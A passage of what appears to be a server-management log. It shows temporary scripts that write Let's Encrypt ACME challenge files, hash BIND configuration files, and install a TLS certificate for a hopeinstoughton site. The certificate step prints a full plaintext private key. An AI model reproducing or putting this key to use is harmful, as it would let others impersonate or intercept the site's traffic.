NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-08 13:13:54: Establishing a connection
2026-01-09 06:00:03: Establishing a connection
2026-01-09 06:00:03: Establishing a connection
2026-01-09 06:00:03:
PUT: /tmp/pkp194918
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-09 06:00:04:
chmod 755 /tmp/pkp194918; /tmp/pkp194918; rm /tmp/pkp194918
2026-01-09 06:00:04:
1
2026-01-09 06:00:05: Establishing a connection
2026-01-09 06:00:05:
PUT: /tmp/pkp945618
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > rets25Vd70byZifS0DVYdM3o-J73HWJFZkQgQqhOun0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rets25Vd70byZifS0DVYdM3o-J73HWJFZkQgQqhOun0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rets25Vd70byZifS0DVYdM3o-J73HWJFZkQgQqhOun0
2026-01-09 06:00:05:
chmod 755 /tmp/pkp945618; /tmp/pkp945618; rm /tmp/pkp945618
2026-01-09 06:00:05:
2026-01-09 17:44:06: Establishing a connection
2026-01-09 17:44:17: Establishing a connection
2026-01-09 17:44:17:
PUT: /tmp/pkp287127
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-09 17:44:17:
runuser -l bind -s /bin/bash -c '/tmp/pkp287127; rm /tmp/pkp287127'
2026-01-09 17:44:17:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-09 17:44:24: Establishing a connection
2026-01-09 17:44:24: Establishing a connection
2026-01-09 17:44:24:
PUT: /tmp/pkp520290
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-09 17:44:24:
chmod 755 /tmp/pkp520290; /tmp/pkp520290; rm /tmp/pkp520290
2026-01-09 17:44:24:
0
2026-01-09 17:44:51: Establishing a connection
2026-01-09 17:44:51:
PUT: /tmp/pkp841521
#!/bin/bash
temp_file=$(mktemp)
TARGET=277b862c622fb9fa5d441c9959ff5ee3.crt
cat > $temp_file <<'endmsg'
58:00:12:0a:87:41:69:1b:e4:9e:d1:2f:1a:e6:d8:96
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBiHP4YK7e2cucQWXEBbkFJPRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA5MTY0NjE5WhcNMjYwNDA5MTY0NjE4WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCvXnoSmqrX2q5i5qQ9gRyz15nbyCYPCoAUrRx9ZGdtWKlF1kRL
eqS4iot1lfx8HEcnF1OWC3dS3FR36P1lTbFaBz91FWDKQyayHcaP0lYlTHm8lkUr
CNzZRTg4tTZM6F6/Ug81AN+1HIYokoDPF/GreGbQb0tXb5KJ3ARNeXhr/4X7c3sx
4pGSOZbnBLbPr5nWlErvTEJTcL7EK4snQKd5tgShWCvks03EC/FbCwxkWMsb1QjE
svwaCL2qc6UG4g9wKbZUsC380Ts1fAO8Xv/Ttk5vgNhyLqAlpGD10aNMXmfIygqC
v8LXrEHSS1QK7w0cN7y22Vys44EfAIe6aaMZAgMBAAGjggIxMIICLTAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFCWpWVpywNcrx5VmEPrnGxfvm867MB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvODIuY3JsMIIBDQYKKwYBBAHW
eQIEAgSB/gSB+wD5AHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGbo9xq5QAABAMASDBGAiEApxhfL4RQFnh9leOc9a1Zy6J1CRWglvxWyJtEX8iR
JQwCIQC4MYSGmqYEHgTo9TICUinPflDvhq4jH6ctXa3qTRy9mAB+AOMjjfKNoojg
quCs8PqQyYXwtr/10qUnsAH8HERYxLboAAABm6PcbFsACAAABQAu2O/LBAMARzBF
AiATHmArLU+hIfqC0XTfnEs9cSgT/0rTXYArAJnzGkD5AwIhAOD92LWnN3ecWRyi
nZzznI8JVUwEdo3QiMQa2D5Crn9yMA0GCSqGSIb3DQEBCwUAA4IBAQCRS011CqdJ
D4yoPd8fOwIVVMTfjCreJeudP0J9zwBn0CXtLahT94UycpY5q09XuqpUBHnO9G1j
Yrd4BEUN7gzfVIAWB7P7w5QXWayU2+AmeB3BIc3ifltKrp8jqYNbbHso3cHKPowk
Wadpt36RkZEe4sNc/r/eUma9lpFMuHfFv3mpFZe+9zxI1cFSmA0a7it1MZWp+2wH
ibv9vTyoCT1oynmP6Mk0eJ3c3fI3yHT3Y2sQghndHY6CD+8B52JTsB2FAlsCuWJa
nNTXmFT4rtMrXbkSFQ7DBtLw8rh0fx6jvY2kJXTSeS0VnnHsmoxf5IoUsQPU9fv0
6pnVKIRf2Nen
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCvXnoSmqrX2q5i
5qQ9gRyz15nbyCYPCoAUrRx9ZGdtWKlF1kRLeqS4iot1lfx8HEcnF1OWC3dS3FR3
6P1lTbFaBz91FWDKQyayHcaP0lYlTHm8lkUrCNzZRTg4tTZM6F6/Ug81AN+1HIYo
koDPF/GreGbQb0tXb5KJ3ARNeXhr/4X7c3sx4pGSOZbnBLbPr5nWlErvTEJTcL7E
K4snQKd5tgShWCvks03EC/FbCwxkWMsb1QjEsvwaCL2qc6UG4g9wKbZUsC380Ts1
fAO8Xv/Ttk5vgNhyLqAlpGD10aNMXmfIygqCv8LXrEHSS1QK7w0cN7y22Vys44Ef
AIe6aaMZAgMBAAECggEAAzHrc29R8YDQcIjXMS+rADPLX8+zsc51KutEe5xarglR
fC49LErduWb8x3WmFfTF7xZjtXYcBGxzNYQPKctSkdtT8qQjEUxL5i7YsUIZw7Ay
/5aVSAVvUJ4MOixDAv+wyjeKg2KysLAGWbLhmeRLyN32sZF1g/BKcSyK/4ZZBU6o
uyo70rowixrMrFzKg4rTtEPt1XhrwBldeNIvE4qOwelV9lvPdxcR0F2mnMjU4iL6
8iXK/TyFNZ2dqMnvTth8VPg3D9zfTCFbthx5GIqaCNMUgcfZ7uEX+wN7BKQAPG6C
Q3Du2VtXuyKd9olp3tCw2ae8KPyhP5Y5TbgOP1kyIQKBgQDi2TwVmgsLgEMpRaEP
NdrzoHHTPua3tdo/uB0qhmUqHtuJ6oh7DXcUlEixf7F8BUOPWoEbc3QcCzXSaF9Y
GK+4zM8modUOE1D+bEwticRgPsyVPIVxGdBLcQqbh7SNpMiQuSoIsx8Pm9GW5L/D
PK8VjRLukNqooMaks2xqNKENnQKBgQDF57D3nI5ae5dHpV0I3pTrBArclp0Gbi31
W+OEtRcHwpsK3Cqi7P1sVgqmrZYY9Fab/usNr7BqGxUcfA5GwoCO7dl7hyGhMq/e
j6/K1MJhGS0wpxzpjAjQLhHU12HvZdFLtVF49VJsYKhC6Ih6B5cWW/1k713ZTrEJ
4uzi5z4wrQKBgC7pf8xz087oEnuJg7oyh/oT9xYZjvr055J/z8BIlMk2Im6OCvVv
nm2qELJsVtbv+728mLCFmsBl7RZ7MSR1znkoGbrCgt3rTreey84rDGpe8k32ex4d
mX7QfMIXOVaFeli7gh7UdBr1PU24NpP4i7ioOP8PA7kVrp7G4CfChH/dAoGAWEkH
lS5uAsdnsTp/ylkhLcZb4hP+cMPuFKqtUKJIZ9nUuH+HNa9rTk0D6188ul0l1ele
inh5xpvWSyK8a6yRFTHd91FNG1A1TJ/k2CMZo59LnYyvRTCHLfefVMfQlK9jMtbs
RX2LC3YDGfYKDAYezIa0/7YYs7x7FeH5sy9devECgYBBpHXewJezAvxWukj2nMih
xaLCedYlKS6QYVJ0nhdmCVA7iMyKGrDjwYTQ36ojOIqgeej0rr+OWmvj4qsaYOb2
2OT4XWuxMzYXK8Nm6yrn9axcSkvG1+7YaZ1CGp/qjVpRhGvgft5goqVVeCw5TuiF
90QBSxj/Am4MkaHr47Vq+Q==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
